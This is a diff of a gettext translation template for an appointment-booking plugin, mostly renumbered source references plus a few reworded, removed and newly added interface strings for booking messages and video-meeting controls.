 msgid ""
 "Javascript message displayed when client attempts to take seats more than "
 "the capacity. This may happen when different services with different "
 "capacities are to be booked"
 msgstr ""
 
-#: includes/custom-texts.php:538
+#: includes/custom-texts.php:541
 msgid ""
 "Message displayed when client attempts to make booking with insufficient "
 "Digital Wallet balance"
 msgstr ""
 
-#: includes/custom-texts.php:539
+#: includes/custom-texts.php:542
 msgid ""
 "Text displayed below calendar title when login is required and client is not "
 "logged in. LOGIN_PAGE will be replaced by the login url"
 msgstr ""
 
-#: includes/custom-texts.php:540
+#: includes/custom-texts.php:543
 msgid ""
 "Javascript text displayed when user does not match to the owner of the "
 "booking."
 msgstr ""
 
-#: includes/custom-texts.php:541
+#: includes/custom-texts.php:544
 msgid ""
 "Javascript text displayed when requested action or selection is not possible"
 msgstr ""
 
-#: includes/custom-texts.php:542
+#: includes/custom-texts.php:545
 msgid ""
 "Javascript text displayed when client attempts to book a service which is "
 "not published (expired or not open yet)"
 msgstr ""
 
-#: includes/custom-texts.php:543
+#: includes/custom-texts.php:546
 msgid ""
 "Javascript text displayed when client attempts to edit date/time of a "
 "booking and provider is not working"
 msgstr ""
 
-#: includes/custom-texts.php:544
+#: includes/custom-texts.php:547
 msgid ""
 "Text for List of Bookings when there are no appointments to be displayed"
 msgstr ""
 
-#: includes/custom-texts.php:545
+#: includes/custom-texts.php:548
 msgid ""
 "HTML text displayed when there are no free time slots in the table or block"
 msgstr ""
 
-#: includes/custom-texts.php:546
+#: includes/custom-texts.php:549
 msgid ""
 "Selection in dropdowns when there is no preference, (e.g. when client does "
 "not particularly select a provider)"
 msgstr ""
 
-#: includes/custom-texts.php:547
+#: includes/custom-texts.php:550
 msgid "Text for Recurring Appointments pulldown menu to select no repeat"
 msgstr ""
 
-#: includes/custom-texts.php:548
+#: includes/custom-texts.php:551
 msgid "Message displayed when there are no matching services"
 msgstr ""
 
-#: includes/custom-texts.php:549
+#: includes/custom-texts.php:552
 msgid "Message displayed when there are no matching results"
 msgstr ""
 
-#: includes/custom-texts.php:550
+#: includes/custom-texts.php:553
 msgid "Legend label for not available, e.g. break, holiday, slot"
 msgstr ""
 
-#: includes/custom-texts.php:551
+#: includes/custom-texts.php:554
 msgid "Automatically added to optional UDF labels"
 msgstr ""
 
-#: includes/custom-texts.php:552
+#: includes/custom-texts.php:555
 msgid "Title for Order in list of bookings"
 msgstr ""
 
-#: includes/custom-texts.php:553
+#: includes/custom-texts.php:556
 msgid ""
 "Text displayed to admin for service provider when no particular provider is "
 "selected"
 msgstr ""
 
-#: includes/custom-texts.php:554
+#: includes/custom-texts.php:557
 msgid "Column header of Owner for Services table"
 msgstr ""
 
-#: includes/custom-texts.php:555
+#: includes/custom-texts.php:558
 msgid "Column header of Padding After for Services table"
 msgstr ""
 
-#: includes/custom-texts.php:556
+#: includes/custom-texts.php:559
 msgid "Column header of Padding Before for Services table"
 msgstr ""
 
-#: includes/custom-texts.php:557
+#: includes/custom-texts.php:560
 msgid "Text for status paid"
 msgstr ""
 
-#: includes/custom-texts.php:558
+#: includes/custom-texts.php:561
 msgid "Javascript message informing that balance is not negative"
 msgstr ""
 
-#: includes/custom-texts.php:559
+#: includes/custom-texts.php:562
 msgid "Header for List of Participants of Group Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:560
+#: includes/custom-texts.php:563
 #, php-format
 msgid ""
 "Title for each participant of Group Bookings. %d will be replaced by the "
 "order in the list."
 msgstr ""
 
-#: includes/custom-texts.php:561
+#: includes/custom-texts.php:564
 msgid "Legend label for partly busy slot"
 msgstr ""
 
-#: includes/custom-texts.php:562
+#: includes/custom-texts.php:565
 msgid "Label for Password field"
 msgstr ""
 
-#: includes/custom-texts.php:563
+#: includes/custom-texts.php:566
 msgid "Label for Repeat Password field"
 msgstr ""
 
-#: includes/custom-texts.php:564
+#: includes/custom-texts.php:567
 msgid ""
 "Javascript text displayed when client attempts to edit a booking with past "
 "date/time"
 msgstr ""
 
-#: includes/custom-texts.php:565
+#: includes/custom-texts.php:568
 msgid "Used for each guest/seat booked in Group Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:566
+#: includes/custom-texts.php:569
 msgid ""
 "Message displayed when payment is required, but no payment method is "
 "selected or not available"
 msgstr ""
 
-#: includes/custom-texts.php:567
+#: includes/custom-texts.php:570
 msgid "Title for Payment ID in Payment History"
 msgstr ""
 
-#: includes/custom-texts.php:568
+#: includes/custom-texts.php:571
 msgid "Column header of Pay for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:569
+#: includes/custom-texts.php:572
 msgid "Column header of PayPal for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:570
+#: includes/custom-texts.php:573
 msgid "Label for PayPal Email"
 msgstr ""
 
-#: includes/custom-texts.php:571
+#: includes/custom-texts.php:574
 msgid "Description text under PayPal Email setting field on user profile"
 msgstr ""
 
-#: includes/custom-texts.php:572
+#: includes/custom-texts.php:575
 msgid ""
 "JavaScript message displayed when an incorrect non-empty Paypal email is "
 "entered"
 msgstr ""
 
-#: includes/custom-texts.php:573
+#: includes/custom-texts.php:576
 msgid "Button text to confirm PayPal Express payment final stage."
 msgstr ""
 
-#: includes/custom-texts.php:574
+#: includes/custom-texts.php:577
 msgid ""
 "Text that will be displayed in final confirmation stage with Paypal Express "
 "Checkout. AMOUNT placeholder will be reapleced with the amount to be paid, "
 "and EMAIL is PayPal account email of the client."
 msgstr ""
 
-#: includes/custom-texts.php:575
+#: includes/custom-texts.php:578
 msgid ""
 "Button text for credit card data submit. AMOUNT placeholder will be replaced "
 "with formatted payable amount, including currency sign."
 msgstr ""
 
-#: includes/custom-texts.php:576
+#: includes/custom-texts.php:579
 msgid ""
 "Text beside Payment field in the confirmation form when more than one "
 "payment option/gateway is active"
 msgstr ""
 
-#: includes/custom-texts.php:577
+#: includes/custom-texts.php:580
 msgid "Column header of Pdf download for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:578
+#: includes/custom-texts.php:581
 msgid "Title text of confirmation attachment for my appointments table"
 msgstr ""
 
-#: includes/custom-texts.php:579
+#: includes/custom-texts.php:582
 msgid ""
 "Button text to download a confirmation attachment for my appointments table"
 msgstr ""
 
-#: includes/custom-texts.php:580
+#: includes/custom-texts.php:583
 msgid "Pdf Download button text in List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:581
+#: includes/custom-texts.php:584
 msgid "Tooltip text that explains function of pdf download button."
 msgstr ""
 
-#: includes/custom-texts.php:582
+#: includes/custom-texts.php:585
 msgid "Tooltip title for Pdf Download button"
 msgstr ""
 
-#: includes/custom-texts.php:583
+#: includes/custom-texts.php:586
 msgid "Text for status pending"
 msgstr ""
 
-#: includes/custom-texts.php:584
+#: includes/custom-texts.php:587
 msgid ""
 "Text for status pending and an automatic payment is not expected, e.g. "
 "payment is not required, price is zero, or manual payment is selected"
 msgstr ""
 
-#: includes/custom-texts.php:585
+#: includes/custom-texts.php:588
 msgid ""
 "Text for status pending and an automatic payment via a gateway is expected"
 msgstr ""
 
-#: includes/custom-texts.php:586
+#: includes/custom-texts.php:589
 msgid "Label for Person Types"
 msgstr ""
 
-#: includes/custom-texts.php:587
+#: includes/custom-texts.php:590
 msgid "Title for Phone field in the confirmation form and user page"
 msgstr ""
 
-#: includes/custom-texts.php:588
-msgid "Placeholder for Phone field in the confirmation form"
-msgstr ""
-
-#: includes/custom-texts.php:589
+#: includes/custom-texts.php:591
 msgid "Message displayed while submitting a form"
 msgstr ""
 
-#: includes/custom-texts.php:590
+#: includes/custom-texts.php:592
 msgid ""
 "Private Message button text. RECIPIENT placeholder will be replaced by the "
 "display name of the other party"
 msgstr ""
 
-#: includes/custom-texts.php:591
+#: includes/custom-texts.php:593
 #, php-format
 msgid ""
 "Placeholder for participant phone field. %d will be replaced by the order in "
 "the list."
 msgstr ""
 
-#: includes/custom-texts.php:592
+#: includes/custom-texts.php:594
 msgid "Title text for language selection dropdown"
 msgstr ""
 
-#: includes/custom-texts.php:593
+#: includes/custom-texts.php:595
 msgid "Spinner panel message while booking views are being prepared"
 msgstr ""
 
-#: includes/custom-texts.php:594
+#: includes/custom-texts.php:596
 msgid "Spinner panel message while time table is being prepared"
 msgstr ""
 
-#: includes/custom-texts.php:595
+#: includes/custom-texts.php:597
 msgid "Pagination button text for Previous"
 msgstr ""
 
-#: includes/custom-texts.php:596
+#: includes/custom-texts.php:598
 msgid "Pagination button text for Previous Month"
 msgstr ""
 
-#: includes/custom-texts.php:597
+#: includes/custom-texts.php:599
 msgid "Pagination button text for Previous Months"
 msgstr ""
 
-#: includes/custom-texts.php:598
+#: includes/custom-texts.php:600
 msgid "Pagination button text for Previous Week"
 msgstr ""
 
-#: includes/custom-texts.php:599
+#: includes/custom-texts.php:601
 msgid "Pagination button text for Previous Weeks"
 msgstr ""
 
-#: includes/custom-texts.php:600
+#: includes/custom-texts.php:602
 msgid "Title for Price in the confirmation form"
 msgstr ""
 
-#: includes/custom-texts.php:601
+#: includes/custom-texts.php:603
 msgid ""
 "Javascript message in case there is a mismatch of calculated price and price "
 "previously displayed to the client and new price is higher."
 msgstr ""
 
-#: includes/custom-texts.php:602
+#: includes/custom-texts.php:604
 msgid ""
 "Javascript message in case there is a mismatch of calculated price and price "
 "previously displayed to the client and new price is lower."
 msgstr ""
 
-#: includes/custom-texts.php:603
+#: includes/custom-texts.php:605
 msgid "Column Header for Private Message"
 msgstr ""
 
-#: includes/custom-texts.php:604
+#: includes/custom-texts.php:606
 msgid "Javascript message displayed when client is asked to confirm to proceed"
 msgstr ""
 
-#: includes/custom-texts.php:605
+#: includes/custom-texts.php:607
 msgid "Processing text when connecting to payment gateway"
 msgstr ""
 
-#: includes/custom-texts.php:606
+#: includes/custom-texts.php:608
 msgid "Column header of Provider for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:607
+#: includes/custom-texts.php:609
 msgid "Tab Header of Providers for Store Management"
 msgstr ""
 
-#: includes/custom-texts.php:608
+#: includes/custom-texts.php:610
 msgid "Title for Service Provider in the confirmation form"
 msgstr ""
 
-#: includes/custom-texts.php:609
+#: includes/custom-texts.php:611
 msgid "Plural of the Service Provider title in the confirmation form"
 msgstr ""
 
-#: includes/custom-texts.php:610
+#: includes/custom-texts.php:612
 msgid ""
 "Javascript text displayed when client attempts to book a service which is "
 "out of quota"
 msgstr ""
 
-#: includes/custom-texts.php:611
+#: includes/custom-texts.php:613
 msgid "Spinner panel message while ajax data read is in progress"
 msgstr ""
 
-#: includes/custom-texts.php:612
+#: includes/custom-texts.php:614
 msgid ""
 "Javascript message displayed before client is redirected to the login page"
 msgstr ""
 
-#: includes/custom-texts.php:613
+#: includes/custom-texts.php:615
 msgid "Title for Payment Reference"
 msgstr ""
 
-#: includes/custom-texts.php:614
+#: includes/custom-texts.php:616
 msgid "Spinner panel message while page is being refreshed"
 msgstr ""
 
-#: includes/custom-texts.php:615
+#: includes/custom-texts.php:617
 msgid "Placeholder value in login Register field"
 msgstr ""
 
-#: includes/custom-texts.php:616
+#: includes/custom-texts.php:618
 msgid "Text beside Remember Me field in the confirmation form"
 msgstr ""
 
-#: includes/custom-texts.php:617
+#: includes/custom-texts.php:619
 msgid "Text for status removed"
 msgstr ""
 
-#: includes/custom-texts.php:618
+#: includes/custom-texts.php:620
 msgid ""
 "Text in tooltip when an appointment has been removed from confirmation form"
 msgstr ""
 
-#: includes/custom-texts.php:619
+#: includes/custom-texts.php:621
 msgid ""
 "Note added under confirmation form when there is at least one required field"
 msgstr ""
 
-#: includes/custom-texts.php:620
+#: includes/custom-texts.php:622
 msgid "Text for status reserved by Google Calendar"
 msgstr ""
 
-#: includes/custom-texts.php:621
+#: includes/custom-texts.php:623
 msgid "Button text for Resource in Schedules"
 msgstr ""
 
-#: includes/custom-texts.php:622
+#: includes/custom-texts.php:624
 msgid "Label for Revenue"
 msgstr ""
 
-#: includes/custom-texts.php:623
+#: includes/custom-texts.php:625
 msgid "Jitsi meeting room ID"
 msgstr ""
 
-#: includes/custom-texts.php:624
+#: includes/custom-texts.php:626
 msgid "Text for status happening now"
 msgstr ""
 
-#: includes/custom-texts.php:625
+#: includes/custom-texts.php:627
 msgid "Saturday"
 msgstr ""
 
-#: includes/custom-texts.php:626
+#: includes/custom-texts.php:628
 msgid "Initial letter of Saturday"
 msgstr ""
 
-#: includes/custom-texts.php:627
+#: includes/custom-texts.php:629
 msgid "Short form of Saturday"
 msgstr ""
 
-#: includes/custom-texts.php:628
+#: includes/custom-texts.php:630
 msgid "Label for Save"
 msgstr ""
 
-#: includes/custom-texts.php:629
+#: includes/custom-texts.php:631
 msgid "Javascript message after settings saved."
 msgstr ""
 
-#: includes/custom-texts.php:630
+#: includes/custom-texts.php:632
 msgid "Button text for save (finalise edit)"
 msgstr ""
 
-#: includes/custom-texts.php:631
+#: includes/custom-texts.php:633
 msgid ""
 "Javascript message displayed when appointment could not be saved possibly "
 "because of a server error"
 msgstr ""
 
-#: includes/custom-texts.php:632
+#: includes/custom-texts.php:634
 msgid "Spinner panel message while data is being saved"
 msgstr ""
 
-#: includes/custom-texts.php:633
+#: includes/custom-texts.php:635
 msgid "Placeholder value in table Search field"
 msgstr ""
 
-#: includes/custom-texts.php:634
+#: includes/custom-texts.php:636
 msgid "Title for number of seats in the confirmation form"
 msgstr ""
 
-#: includes/custom-texts.php:635
+#: includes/custom-texts.php:637
 msgid "Column header of available capacity"
 msgstr ""
 
-#: includes/custom-texts.php:636
+#: includes/custom-texts.php:638
 msgid "Column header of total capacity"
 msgstr ""
 
-#: includes/custom-texts.php:637
+#: includes/custom-texts.php:639
 msgid "Column header of total and available capacity separated with \"/\""
 msgstr ""
 
-#: includes/custom-texts.php:638
+#: includes/custom-texts.php:640
 msgid "Singular text for second"
 msgstr ""
 
-#: includes/custom-texts.php:639
+#: includes/custom-texts.php:641
 msgid "Plural text for seconds"
 msgstr ""
 
-#: includes/custom-texts.php:640
+#: includes/custom-texts.php:642
 msgid "Label for Security Code"
 msgstr ""
 
-#: includes/custom-texts.php:641
+#: includes/custom-texts.php:643
 msgid "General short select text"
 msgstr ""
 
-#: includes/custom-texts.php:642
+#: includes/custom-texts.php:644
 msgid "General select text"
 msgstr ""
 
-#: includes/custom-texts.php:643
+#: includes/custom-texts.php:645
 msgid "Text displayed to show a slot has been selected"
 msgstr ""
 
-#: includes/custom-texts.php:644
+#: includes/custom-texts.php:646
 msgid ""
 "Text for select button of locations/services/service providers dropdowns"
 msgstr ""
 
-#: includes/custom-texts.php:645
+#: includes/custom-texts.php:647
 msgid "Text displayed above credit selection dropdown in Sell Credits"
 msgstr ""
 
-#: includes/custom-texts.php:646
+#: includes/custom-texts.php:648
 msgid "Text displayed above date selection field"
 msgstr ""
 
-#: includes/custom-texts.php:647
+#: includes/custom-texts.php:649
 msgid "Text displayed above duration selection dropdown"
 msgstr ""
 
-#: includes/custom-texts.php:648
+#: includes/custom-texts.php:650
 msgid "Text displayed above language selection dropdown"
 msgstr ""
 
-#: includes/custom-texts.php:649
+#: includes/custom-texts.php:651
 msgid "Javascript message displayed when selected limit exceeded"
 msgstr ""
 
-#: includes/custom-texts.php:650
+#: includes/custom-texts.php:652
 msgid "Text displayed above locations dropdown"
 msgstr ""
 
-#: includes/custom-texts.php:651
+#: includes/custom-texts.php:653
 msgid "Text displayed above service providers dropdown"
 msgstr ""
 
-#: includes/custom-texts.php:652
+#: includes/custom-texts.php:654
 msgid ""
 "Text displayed above number of repeats and repeat unit selection dropdowns"
 msgstr ""
 
-#: includes/custom-texts.php:653
+#: includes/custom-texts.php:655
 msgid "Label for repeat number"
 msgstr ""
 
-#: includes/custom-texts.php:654
+#: includes/custom-texts.php:656
 msgid "Label for repeat unit"
 msgstr ""
 
-#: includes/custom-texts.php:655
+#: includes/custom-texts.php:657
 msgid "Text displayed above pax/seats selection dropdown"
 msgstr ""
 
-#: includes/custom-texts.php:656
+#: includes/custom-texts.php:658
 msgid "Text displayed above services dropdown"
 msgstr ""
 
-#: includes/custom-texts.php:657
+#: includes/custom-texts.php:659
 msgid "Title of Theme selection pulldown menu"
 msgstr ""
 
-#: includes/custom-texts.php:658
+#: includes/custom-texts.php:660
 msgid "Text displayed above users dropdown"
 msgstr ""
 
-#: includes/custom-texts.php:659
+#: includes/custom-texts.php:661
 msgid "Column header of Server Date/time for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:660
+#: includes/custom-texts.php:662
 msgid "Column header of Server Day for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:661
+#: includes/custom-texts.php:663
 msgid "Text for Server Timezone"
 msgstr ""
 
-#: includes/custom-texts.php:662
+#: includes/custom-texts.php:664
 msgid "Column header of Service for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:663
+#: includes/custom-texts.php:665
 msgid "Title for Services Given on account page"
 msgstr ""
 
-#: includes/custom-texts.php:664
+#: includes/custom-texts.php:666
 msgid "Title for Service ID"
 msgstr ""
 
-#: includes/custom-texts.php:665
+#: includes/custom-texts.php:667
 msgid "Title for Service in the confirmation form"
 msgstr ""
 
-#: includes/custom-texts.php:666
+#: includes/custom-texts.php:668
 msgid "Plural of the Service title in the confirmation form"
 msgstr ""
 
-#: includes/custom-texts.php:667
+#: includes/custom-texts.php:669
 msgid "Title for Services Provided"
 msgstr ""
 
-#: includes/custom-texts.php:668
+#: includes/custom-texts.php:670
 msgid ""
 "Message displayed when no service is selected, but selection of at least one "
 "is required"
 msgstr ""
 
-#: includes/custom-texts.php:669
+#: includes/custom-texts.php:671
 msgid "Singular text for Digital Wallet package quantity"
 msgstr ""
 
-#: includes/custom-texts.php:670
+#: includes/custom-texts.php:672
 msgid "Plural text for Digital Wallet package quantity"
 msgstr ""
 
-#: includes/custom-texts.php:671
+#: includes/custom-texts.php:673
 msgid "Label for Showing: in select elements"
 msgstr ""
 
-#: includes/custom-texts.php:672
+#: includes/custom-texts.php:674
 msgid "Column Header for Sort Order in Services List"
 msgstr ""
 
-#: includes/custom-texts.php:673
+#: includes/custom-texts.php:675
 msgid "Javascript message displayed after a too frequent booking attempt"
 msgstr ""
 
-#: includes/custom-texts.php:674
+#: includes/custom-texts.php:676
 msgid "Text for status stand by"
 msgstr ""
 
-#: includes/custom-texts.php:675
+#: includes/custom-texts.php:677
 msgid "Label for start time in confirmation form"
 msgstr ""
 
-#: includes/custom-texts.php:676
+#: includes/custom-texts.php:678
 msgid "Title for State field in the confirmation form and user page"
 msgstr ""
 
-#: includes/custom-texts.php:677
-msgid "Placeholder for State field in the confirmation form"
-msgstr ""
-
-#: includes/custom-texts.php:678
+#: includes/custom-texts.php:679
 msgid "Column header of Status for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:679
+#: includes/custom-texts.php:680
 msgid "Label for Store"
 msgstr ""
 
-#: includes/custom-texts.php:680
+#: includes/custom-texts.php:681
 msgid "Label for Stores"
 msgstr ""
 
-#: includes/custom-texts.php:681
+#: includes/custom-texts.php:682
 msgid "Label for Store Page"
 msgstr ""
 
-#: includes/custom-texts.php:682
+#: includes/custom-texts.php:683
 msgid "Label for Store Settings"
 msgstr ""
 
-#: includes/custom-texts.php:683
+#: includes/custom-texts.php:684
 msgid "Button text for confirming an appointment"
 msgstr ""
 
-#: includes/custom-texts.php:684
+#: includes/custom-texts.php:685
 msgid "Title for Summary block in Flex Steps"
 msgstr ""
 
-#: includes/custom-texts.php:685
+#: includes/custom-texts.php:686
 msgid "Sunday"
 msgstr ""
 
-#: includes/custom-texts.php:686
+#: includes/custom-texts.php:687
 msgid "Initial letter of Sunday"
 msgstr ""
 
-#: includes/custom-texts.php:687
+#: includes/custom-texts.php:688
 msgid "Short form of Sunday"
 msgstr ""
 
-#: includes/custom-texts.php:688
+#: includes/custom-texts.php:689
 msgid "Label for Tax"
 msgstr ""
 
-#: includes/custom-texts.php:689
+#: includes/custom-texts.php:690
 msgid ""
 "To be announced: Exact time or link of the booking is not determined yet."
 msgstr ""
 
-#: includes/custom-texts.php:690
+#: includes/custom-texts.php:691
 msgid "Text for status test"
 msgstr ""
 
-#: includes/custom-texts.php:691
+#: includes/custom-texts.php:692
 msgid "Thursday"
 msgstr ""
 
-#: includes/custom-texts.php:692
+#: includes/custom-texts.php:693
 msgid "Initial letter of Thursday"
 msgstr ""
 
-#: includes/custom-texts.php:693
+#: includes/custom-texts.php:694
 msgid "Short form of Thursday"
 msgstr ""
 
-#: includes/custom-texts.php:694
+#: includes/custom-texts.php:695
 msgid "Column header of Time in editing form"
 msgstr ""
 
-#: includes/custom-texts.php:695
+#: includes/custom-texts.php:696
 msgid "Button text for provider bookings in Schedules"
 msgstr ""
 
-#: includes/custom-texts.php:696
+#: includes/custom-texts.php:697
 msgid "Label for Time Zone"
 msgstr ""
 
-#: includes/custom-texts.php:697
+#: includes/custom-texts.php:698
 msgid "Title of Time Zone selection pulldown menu"
 msgstr ""
 
-#: includes/custom-texts.php:698
+#: includes/custom-texts.php:699
 msgid "Button text for Today in Schedules"
 msgstr ""
 
-#: includes/custom-texts.php:699
+#: includes/custom-texts.php:700
 msgid ""
-"Javascript message displayed when client attempts to cancel/edit/add an "
-"appointment, but it is too late"
+"Javascript message or tooltip text displayed when it is early to edit a "
+"booking"
 msgstr ""
 
-#: includes/custom-texts.php:700
+#: includes/custom-texts.php:701
+msgid ""
+"Javascript message or tooltip text displayed when client attempts to cancel/"
+"edit/add a booking, but it is too late"
+msgstr ""
+
+#: includes/custom-texts.php:702
 #, php-format
 msgid ""
 "Javascript message displayed when selected number of appointments is less "
 "than the permitted number. Keep %d which will be replaced by actual limit"
 msgstr ""
 
-#: includes/custom-texts.php:701
+#: includes/custom-texts.php:703
 msgid "Column header of Total Paid amount for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:702
+#: includes/custom-texts.php:704
 msgid ""
 "Javascript error message when client attempts to select a time slot which "
 "would exceed trial limit. Keep LIMIT placeholder which will be replaced by "
 "set limit value."
 msgstr ""
 
-#: includes/custom-texts.php:703
+#: includes/custom-texts.php:705
 msgid ""
 "Javascript error message when client attempts to select a time slot which "
 "would result in selecting same provider second time."
 msgstr ""
 
-#: includes/custom-texts.php:704
+#: includes/custom-texts.php:706
 msgid "Tooltip text displayed for price discounted by coupon"
 msgstr ""
 
-#: includes/custom-texts.php:705
+#: includes/custom-texts.php:707
 msgid "Tooltip text displayed for price discounted by coupon or custom pricing"
 msgstr ""
 
-#: includes/custom-texts.php:706
+#: includes/custom-texts.php:708
 msgid ""
 "Tooltip text displayed for regular price when there is a discounted price"
 msgstr ""
 
-#: includes/custom-texts.php:707
+#: includes/custom-texts.php:709
 msgid "Tuesday"
 msgstr ""
 
-#: includes/custom-texts.php:708
+#: includes/custom-texts.php:710
 msgid "Initial letter of Tuesday"
 msgstr ""
 
-#: includes/custom-texts.php:709
+#: includes/custom-texts.php:711
 msgid "Short form of Tuesday"
 msgstr ""
 
-#: includes/custom-texts.php:710
+#: includes/custom-texts.php:712
 msgid "Message displayed after an unauthorised access"
 msgstr ""
 
-#: includes/custom-texts.php:711
+#: includes/custom-texts.php:713
 msgid ""
 "Text displayed when details of a setting is unknown. Possibly because the "
 "addon which made the setting has been disabled."
 msgstr ""
 
-#: includes/custom-texts.php:712
+#: includes/custom-texts.php:714
 msgid "Update Button text"
 msgstr ""
 
-#: includes/custom-texts.php:713
+#: includes/custom-texts.php:715
 msgid "Javascript message after one or more records updated"
 msgstr ""
 
-#: includes/custom-texts.php:714
+#: includes/custom-texts.php:716
 msgid "Spinner panel message while an update is in progress"
 msgstr ""
 
-#: includes/custom-texts.php:715
+#: includes/custom-texts.php:717
 msgid "Placeholder value in login Username or Email field"
 msgstr ""
 
-#: includes/custom-texts.php:716
+#: includes/custom-texts.php:718
 msgid "Placeholder value in login Username field"
 msgstr ""
 
-#: includes/custom-texts.php:717
+#: includes/custom-texts.php:719
 msgid ""
 "Text for selection of using server timezone instead of dedected client local "
 "timezone"
 msgstr ""
 
-#: includes/custom-texts.php:718
+#: includes/custom-texts.php:720
 msgid "Singular text for vendor"
 msgstr ""
 
-#: includes/custom-texts.php:719
+#: includes/custom-texts.php:721
 msgid "Plural text for vendor"
 msgstr ""
 
-#: includes/custom-texts.php:720
+#: includes/custom-texts.php:722
 msgid "Text for status in Waiting List"
 msgstr ""
 
-#: includes/custom-texts.php:721
+#: includes/custom-texts.php:723
 msgid ""
 "Confirmation form submit button text when booking will be added to Waiting "
 "List"
 msgstr ""
 
-#: includes/custom-texts.php:722
+#: includes/custom-texts.php:724
 msgid ""
 "Javascript message displayed when client claims an opening but slot is no "
 "more available."
 msgstr ""
 
-#: includes/custom-texts.php:723
+#: includes/custom-texts.php:725
 msgid "Wednesday"
 msgstr ""
 
-#: includes/custom-texts.php:724
+#: includes/custom-texts.php:726
 msgid "Initial letter of Wednesday"
 msgstr ""
 
-#: includes/custom-texts.php:725
+#: includes/custom-texts.php:727
 msgid "Short form of Wednesday"
 msgstr ""
 
-#: includes/custom-texts.php:726
+#: includes/custom-texts.php:728
 msgid "Singular text for week"
 msgstr ""
 
-#: includes/custom-texts.php:727
+#: includes/custom-texts.php:729
 msgid "Text for bookings recurring every weekday"
 msgstr ""
 
-#: includes/custom-texts.php:728
+#: includes/custom-texts.php:730
 msgid "Text for bookings recurring every weekend"
 msgstr ""
 
-#: includes/custom-texts.php:729
+#: includes/custom-texts.php:731
 msgid "Text for bookings recurring every week"
 msgstr ""
 
-#: includes/custom-texts.php:730
+#: includes/custom-texts.php:732
 msgid ""
 "Title above the weekly calendar. LOCATION, SERVICE, WORKER, START, END will "
 "be replaced by their real values"
 msgstr ""
 
-#: includes/custom-texts.php:731
+#: includes/custom-texts.php:733
 msgid "Plural text for week"
 msgstr ""
 
-#: includes/custom-texts.php:732
+#: includes/custom-texts.php:734
 msgid "Label for WooCommerce Order ID"
 msgstr ""
 
-#: includes/custom-texts.php:733
+#: includes/custom-texts.php:735
 msgid "Column header of Provider"
 msgstr ""
 
-#: includes/custom-texts.php:734
+#: includes/custom-texts.php:736
 msgid "Column header of Provider Free for Services table"
 msgstr ""
 
-#: includes/custom-texts.php:735
+#: includes/custom-texts.php:737
 #, php-format
 msgid ""
 "Javascript message displayed when submitted field is not acceptable. Keep %s "
 "which will be replaced by field name"
 msgstr ""
 
-#: includes/custom-texts.php:736
+#: includes/custom-texts.php:738
 msgid "Text for year"
 msgstr ""
 
-#: includes/custom-texts.php:737
+#: includes/custom-texts.php:739
 msgid "Translation for Yes, e.g. to show a check box is checked"
 msgstr ""
 
-#: includes/custom-texts.php:738
+#: includes/custom-texts.php:740
 msgid ""
 "Label for Your Rate field in user profile. The same for hourly and fixed "
 "rates."
 msgstr ""
 
-#: includes/custom-texts.php:739
+#: includes/custom-texts.php:741
 msgid "Title for Postcode field in the confirmation form and user page"
 msgstr ""
 
-#: includes/custom-texts.php:740
-msgid "Placeholder for Postcode field in the confirmation form"
-msgstr ""
-
-#: includes/custom-texts.php:741
+#: includes/custom-texts.php:742
 msgid "Column header of Zoom for List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:742
+#: includes/custom-texts.php:743
 msgid "Meeting ID label in List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:743
+#: includes/custom-texts.php:744
 msgid "Button label for Join to Meeting"
 msgstr ""
 
-#: includes/custom-texts.php:744
+#: includes/custom-texts.php:745
 msgid "Meeting Password label in List of Bookings"
 msgstr ""
 
-#: includes/custom-texts.php:745
+#: includes/custom-texts.php:746
 msgid "Button label for Start Meeting"
 msgstr ""
 
@@ -20644,46 +21524,78 @@
 msgid "Agora"
 msgstr ""
 
-#: includes/custom-texts.php:789 includes/custom-texts.php:1036
+#: includes/custom-texts.php:789 includes/custom-texts.php:1043
 msgid "This meeting has already started."
 msgstr ""
 
-#: includes/custom-texts.php:790 includes/custom-texts.php:1037
+#: includes/custom-texts.php:790 includes/custom-texts.php:1044
 msgid ""
 "Meeting has been started by the host and you are being called. Please "
 "confirm to join the meeting."
 msgstr ""
 
-#: includes/custom-texts.php:791 includes/custom-texts.php:1038
+#: includes/custom-texts.php:791
+msgid "Connecting..."
+msgstr ""
+
+#: includes/custom-texts.php:793
+msgid "Leave Call"
+msgstr ""
+
+#: includes/custom-texts.php:794 includes/custom-texts.php:1045
 msgid "&nbsp;"
 msgstr ""
 
-#: includes/custom-texts.php:792 includes/custom-texts.php:1039
+#: includes/custom-texts.php:795 includes/custom-texts.php:1046
 msgid ""
 "You can start by clicking START_MEETING link immediately. If you do so, "
-"participant will be able to attend to the meeting even before meeting time "
-"arrives."
+"participant will be able to attend to the meeting even before the scheduled "
+"meeting time."
 msgstr ""
 
-#: includes/custom-texts.php:793 includes/custom-texts.php:1040
+#: includes/custom-texts.php:796 includes/custom-texts.php:1047
 msgid "Meeting already started. Please click MEETING_ROOM to join."
 msgstr ""
 
-#: includes/custom-texts.php:794 includes/custom-texts.php:1041
+#: includes/custom-texts.php:797
+msgid "Could not access microphone and/or camera. Please check permissions"
+msgstr ""
+
+#: includes/custom-texts.php:798
+msgid "Could not find another camera to switch to"
+msgstr ""
+
+#: includes/custom-texts.php:799 includes/custom-texts.php:1048
 msgid "You don't have any upcoming or running meetings."
 msgstr ""
 
-#: includes/custom-texts.php:795 includes/custom-texts.php:1042
+#: includes/custom-texts.php:800 includes/custom-texts.php:1049
 msgid "Start Meeting"
 msgstr ""
 
-#: includes/custom-texts.php:796 includes/custom-texts.php:1043
+#: includes/custom-texts.php:801
+msgid "Switch Camera"
+msgstr ""
+
+#: includes/custom-texts.php:802
+msgid "Toggle Microphone"
+msgstr ""
+
+#: includes/custom-texts.php:803
+msgid "Toggle Camera"
+msgstr ""
+
+#: includes/custom-texts.php:804
+msgid "Failed to switch camera"
+msgstr ""
+
